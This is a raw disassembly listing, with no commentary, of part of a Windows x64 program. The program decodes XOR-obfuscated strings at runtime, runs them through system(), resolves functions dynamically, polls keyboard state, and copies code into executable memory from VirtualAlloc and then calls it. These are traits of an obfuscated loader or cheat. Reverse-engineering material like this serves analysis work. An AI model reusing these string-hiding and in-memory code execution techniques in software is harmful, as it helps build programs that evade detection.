mov byte [rbp + 0xa], dil
jmp 0x14003bbb5
mov edx, Ordinal_27
lea rcx, [rbp + 0x2c88]
call fcn.140011560
xor eax, eax
mov byte [rbp + 0xd3], al
mov byte [rbp + 0xd4], al
mov byte [rbp + 0xd5], al
movabs rax, 0x69e2ec076c378220
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3750], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3758], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0x3750]
movdqa xmmword [rbp + 0x4c0], xmm0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x2748]
call fcn.140007250
mov r8, rax
lea rdx, [rbp + 0x2c88]
lea rcx, [rbp + 0x2ea0]
call fcn.140088300
nop
xor eax, eax
mov byte [rbp + 0xd6], al
mov byte [rbp + 0xd7], al
mov byte [rbp + 0xd8], al
movabs rax, 0x1dcca0563e5e8d5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x8fbdb4b62b1600fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3740], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3748], rax
movdqa xmm0, xmmword [rbp + 0x4d0]
pxor xmm0, xmmword [rbp + 0x3740]
movdqa xmmword [rbp + 0x4d0], xmm0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x2e38]
call fcn.140007250
nop
lea rcx, [rbp + 0x2e58]
call fcn.140007290
nop
mov edx, 0x110
lea rcx, [rbp + 0x3260]
call fcn.14000dd50
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x2e38]
lea rcx, [rbp + 0x3260]
call fcn.14003f320
nop
lea rcx, [rbp + 0x3260]
call fcn.14003f310
lea rcx, [rbp + 0xd9]
call fcn.14000a3a0
mov rbx, rax
lea rcx, [rbp + 0x18c8]
call fcn.14003ef30
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x13e0], xmm0
lea rdx, [rbp + 0x3260]
lea rcx, [rbp + 0x18d8]
call fcn.14003ef10
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x13d0], xmm0
mov r9, rbx
lea r8, [rbp + 0x13e0]
lea rdx, [rbp + 0x13d0]
lea rcx, [rbp + 0x2e18]
call fcn.140040670
nop
lea rdx, [rbp + 0x2e18]
lea rcx, [0x140127090]
call fcn.14000e3d0
lea rcx, [rbp + 0x3260]
call fcn.14000e190
lea rdx, [0x140127090]
lea rcx, [rbp + 0x2728]
call fcn.14000e430
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.140087c60
cmp byte [rbp + 0x30e0], 0
jne 0x14003b8b9
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x2c88]
lea rcx, [rbp + 0x17b0]
call fcn.14003eea0
mov rcx, rax
call fcn.1400347d0
lea rcx, [rbp + 0x2c88]
call fcn.14003ee30
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xda], al
mov byte [rbp + 0xdb], al
mov byte [rbp + 0xdc], al
movabs rax, 0x69e2d9335571db7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
movabs rbx, 0x8fbdb4b62b167486
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3730], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3738], rax
movdqa xmm0, xmmword [rbp + 0x4e0]
pxor xmm0, xmmword [rbp + 0x3730]
movdqa xmmword [rbp + 0x4e0], xmm0
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0xdd], al
mov byte [rbp + 0xde], al
mov byte [rbp + 0xdf], al
mov byte [rbp + 0xe0], al
mov byte [rbp + 0xe1], al
mov byte [rbp + 0xe2], al
movabs rax, 0x8b4b2542d46c357
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1300], rax
movabs rax, 0xfbd2d9d9594618ef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1308], rax
movabs rax, 0x89a49915293a66f6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1310], rax
movabs rax, 0x542c98638c3d07dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1318], rax
movabs rax, 0x4a82123f1bff7b6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1320], rax
movabs rdx, 0x2347e3d20914cdaa
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1328], rax
movabs rcx, 0x69e2d9335502b719
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3a80], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a88], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a90], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a98], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3aa0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3aa8], rax
vmovdqu ymm0, ymmword [rbp + 0x1300]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a80]
vmovdqa ymmword [rbp + 0x1300], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1320]
vpxor xmm0, xmm0, xmmword [rbp + 0x3aa0]
vmovdqa xmmword [rbp + 0x1320], xmm0
movabs rax, 0xdccac01666cde6e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rax, 0x8fbdb4b62b1618ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3720], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3728], rax
vmovdqa xmm0, xmmword [rbp + 0x4f0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3720]
vmovdqa xmmword [rbp + 0x4f0], xmm0
lea rcx, [rbp + 0x4f0]
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x1300]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
lea rcx, [rbp + 0x2e18]
call fcn.140007240
nop
lea rcx, [rbp + 0x3260]
call fcn.14000dce0
nop
lea rcx, [rbp + 0x2e58]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e38]
call fcn.140007240
nop
lea rcx, [rbp + 0x2c88]
call fcn.14003ee40
xor eax, eax
mov byte [rbp + 0xe3], al
mov byte [rbp + 0xe4], al
mov byte [rbp + 0xe5], al
lea rdx, [0x14002e5a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x78bad5a34559713
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x6c0], rcx
movabs rax, 0xeeda94c4447054e1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x6c8], rcx
movabs rax, 0x90b8d60a307540fe
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x6d0], rcx
movabs rax, 0x325eed1ecc7c00cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rdi, 0x69e2d9335502b719
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3e00], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e08], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e10], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e18], rax
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e00]
vmovdqa ymmword [rbp + 0x6c0], ymm1
lea rdx, [rbp + 0x6c0]
mov rcx, r8
vzeroupper
call fcn.14000baf0
movabs rsi, 0x69e2d9332171c24b
movabs r12, 0xd8c8e4a216bd94c
movabs r13, 0x8fbdb4c5587718c5
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xe6], al
mov byte [rbp + 0xe7], al
mov byte [rbp + 0xe8], al
mov byte [rbp + 0xe9], al
mov byte [rbp + 0xea], al
mov byte [rbp + 0xeb], al
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3710], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3718], rax
movdqa xmm0, xmmword [rbp + 0x500]
pxor xmm0, xmmword [rbp + 0x3710]
movdqa xmmword [rbp + 0x500], xmm0
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3700], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3708], rax
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rbp + 0x3700]
movdqa xmmword [rbp + 0x510], xmm0
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x510]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14003bcf0
xor eax, eax
mov byte [rbp + 0xec], al
mov byte [rbp + 0xed], al
mov byte [rbp + 0xee], al
movabs rax, 0x69e2d9335571db7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x36f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x36f8], rax
movdqa xmm0, xmmword [rbp + 0x520]
pxor xmm0, xmmword [rbp + 0x36f0]
movdqa xmmword [rbp + 0x520], xmm0
lea rcx, [rbp + 0x520]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0xef], al
mov byte [rbp + 0xf0], al
mov byte [rbp + 0xf1], al
lea rdx, [0x14002e5a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x78bbd523a4e9713
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x530], rcx
movabs rax, 0x8fbdb49805385ae1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x538], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x36e0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x36e8], rax
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x36e0]
movdqa xmmword [rbp + 0x530], xmm0
lea rdx, [rbp + 0x530]
mov rcx, r8
call fcn.14000baf0
xor eax, eax
mov byte [rbp + 0xf2], al
mov byte [rbp + 0xf3], al
mov byte [rbp + 0xf4], al
movabs rax, 0xc8bb5702171c24b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rbx, 0x8fbdd1ce4e3800e8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x36d0], rax
movabs rax, 0x8fbdb4b62b167486
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x36d8], rax
movdqa xmm0, xmmword [rbp + 0x540]
pxor xmm0, xmmword [rbp + 0x36d0]
movdqa xmmword [rbp + 0x540], xmm0
lea rcx, [rbp + 0x540]
call fcn.140011e20
xor eax, eax
mov byte [rbp + 0xf5], al
mov byte [rbp + 0xf6], al
mov byte [rbp + 0xf7], al
movabs rax, 0xc8bb5702171c24b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
mov rbx, rdi
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x36c0], rax
movabs rax, 0x8fbdb4b62b167486
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x36c8], rax
movdqa xmm0, xmmword [rbp + 0x550]
pxor xmm0, xmmword [rbp + 0x36c0]
movdqa xmmword [rbp + 0x550], xmm0
lea rcx, [rbp + 0x550]
call fcn.140011e20
mov eax, eax
mov qword [0x140128388], rax
cmp byte [rbp + 0xa], 0
movabs r12, 0xa1d9c6d948651de2
movabs r13, 0xcfbe86046b384af0
je 0x14003c05a
lea rdx, str..SteelseriesXx
lea rcx, [0x140128518]
call fcn.140011570
mov ecx, 0xbb9
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xf8], al
mov byte [rbp + 0xf9], al
mov byte [rbp + 0xfa], al
movabs rax, 0xc91aa72306fd65e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0xe3d1d098527a16eb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rdx, 0xe0d7f66544552593
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rcx, 0x325eed30e2526ea8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3de0], rax
movabs rdi, 0x8fbdb4b62b167486
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3de8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3df0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3df8], rax
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3de0]
vmovdqa ymmword [rbp + 0x6e0], ymm1
lea rdx, [rbp + 0x6e0]
lea rcx, [0x140128518]
vzeroupper
call fcn.1400115b0
mov qword [0x140128520], rax
test rax, rax
jne 0x14003c278
movabs r15, 0x325eed30e2526ea8
movabs r14, 0xe0d7f66544552593
movabs r13, 0xc91aa72306fd65e
movabs r12, 0xe3d1d098527a16eb
nop dword [rax]
xor eax, eax
mov byte [rbp + 0xfb], al
mov byte [rbp + 0xfc], al
mov byte [rbp + 0xfd], al
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3e48], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e50], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3e58], rax
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e40]
vmovdqa ymmword [rbp + 0x700], ymm1
lea rdx, [rbp + 0x700]
lea rcx, [0x140128518]
vzeroupper
call fcn.1400115b0
mov qword [0x140128520], rax
test rax, rax
je 0x14003c190
movabs r14, 0xecd10dbde1fb935b
movabs r12, 0xa1d9c6d948651de2
movabs r13, 0xcfbe86046b384af0
xor eax, eax
mov byte [rbp + 0xfe], al
mov byte [rbp + 0xff], al
mov byte [rbp + 0x100], al
movabs rax, 0x69e2d9335571db7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x36b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x36b8], rax
movdqa xmm0, xmmword [rbp + 0x560]
pxor xmm0, xmmword [rbp + 0x36b0]
movdqa xmmword [rbp + 0x560], xmm0
lea rcx, [rbp + 0x560]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14012837a], 1
mov byte [0x14012840d], 1
xor eax, eax
mov byte [rbp + 0x101], al
mov byte [rbp + 0x102], al
mov byte [rbp + 0x103], al
lea rdx, [0x14002e5d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x4991aa5627529713
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x720], rcx
movabs rax, 0xeefa94d8623646c0
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x728], rcx
movabs rax, 0xe0d7f64b6a7b40fe
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x730], rcx
movabs rcx, 0x325eed30e2526ea8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ee0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ee8], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ef0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3ef8], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ee0]
vmovdqa ymmword [rbp + 0x720], ymm1
lea rdx, [rbp + 0x720]
mov rcx, r8
vzeroupper
call fcn.14000baf0
lea rdi, [0x140000000]
lea rsi, [0x1400403f0]
lea r15, [rsp + 0x43f8]
nop word [rax + rax]
mov rdx, qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rcx, [rbp + 0x13c8]
call fcn.14003ed10
mov rbx, rax
mov dword [rbp + 0x134], WSAStartup
mov edx, Ordinal_27
lea rcx, [rbp + 0x2dc0]
call fcn.140011560
mov rdx, r15
lea rcx, [rbp + 0x2dc0]
call fcn.140011480
nop
xor edx, edx
mov rcx, qword [0x14012ac90]
test rcx, rcx
je 0x14003c49a
xor eax, eax
cmp rcx, rsi
je 0x14003c489
inc edx
mov eax, edx
mov rcx, qword [rdi + rdx*8 + 0x12ac90]
test rcx, rcx
jne 0x14003c471
jmp 0x14003c49a
mov r8, qword [rdi + rax*8 + 0x1286d0]
test r8, r8
jne 0x14003c57f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14003c55e
mov rcx, rsi
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003c4d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x14012b2e0]
mov qword [rdi + rax*8 + 0x12ac90], rsi
mov qword [rdi + rax*8 + 0x1286d0], r8
inc rax
mov qword [0x14012b2e0], rax
lea rdx, [rbp + 0x134]
mov rcx, qword [rbx]
call r8
movzx ebx, ax
lea rcx, [rbp + 0x2dc0]
call fcn.1400114b0
test bx, bx
js 0x14003c5b0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14003c420
lea rcx, [0x14010748c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x2c48]
lea rcx, [rbp + 0x2708]
call fcn.14000e430
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.140087c60
cmp byte [rbp + 0x30e0], 0
movabs rsi, 0x4135825f8a300bdf
movabs rdi, 0x8fbdb4b62b167486
movabs r15, 0x8508d18860640c70
jne 0x14003cfab
lea rax, [rbp + 0x26e8]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbc0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbc8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xbd0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xbd8], rax
movabs rax, 0x78b4200c29a82922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbe0], rax
movabs rax, 0x1b7fd2e13027ff9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbe8], rax
movabs rax, 0x3313f4ee23e6d9d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbf0], rax
movabs rax, 0xd96d8b49e3061cab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbf8], rax
movabs rax, 0xc156d2be2eb41834
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc00], rax
movabs rax, 0xade382af726101f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc08], rax
movabs rax, 0xdc8e38e9d39cda2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc10], rax
movabs rax, 0xd77d88fa2f324123
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc18], rax
movabs rax, 0x88a6f2c149120f16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc20], rax
movabs rax, 0x94e50dcdf798092a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc28], rax
movabs rax, 0x818fc43556cec199
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc30], rax
movabs rax, 0x280804976705c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc38], rax
movabs r12, 0x69e2d9335502b719
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x34a8], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34b0], rax
movabs r13, 0x325eed30e2526ea8
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34b8], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x34f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x34f8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3500], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3508], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3510], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3518], rax
vmovdqu ymm0, ymmword [rbp + 0xbc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x34a0]
vmovdqa ymmword [rbp + 0xbc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xbe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x34c0]
vmovdqa ymmword [rbp + 0xbe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc00]
vpxor ymm1, ymm0, ymmword [rbp + 0x34e0]
vmovdqa ymmword [rbp + 0xc00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3500]
vmovdqa ymmword [rbp + 0xc20], ymm1
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x26e8]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0x69e2d9335562d779
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x5b0], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x5b8], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x36a0], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x36a8], rax
movdqa xmm0, xmmword [rbp + 0x5b0]
pxor xmm0, xmmword [rbp + 0x36a0]
movdqa xmmword [rbp + 0x5b0], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0x8fbdb4b62b1654a6
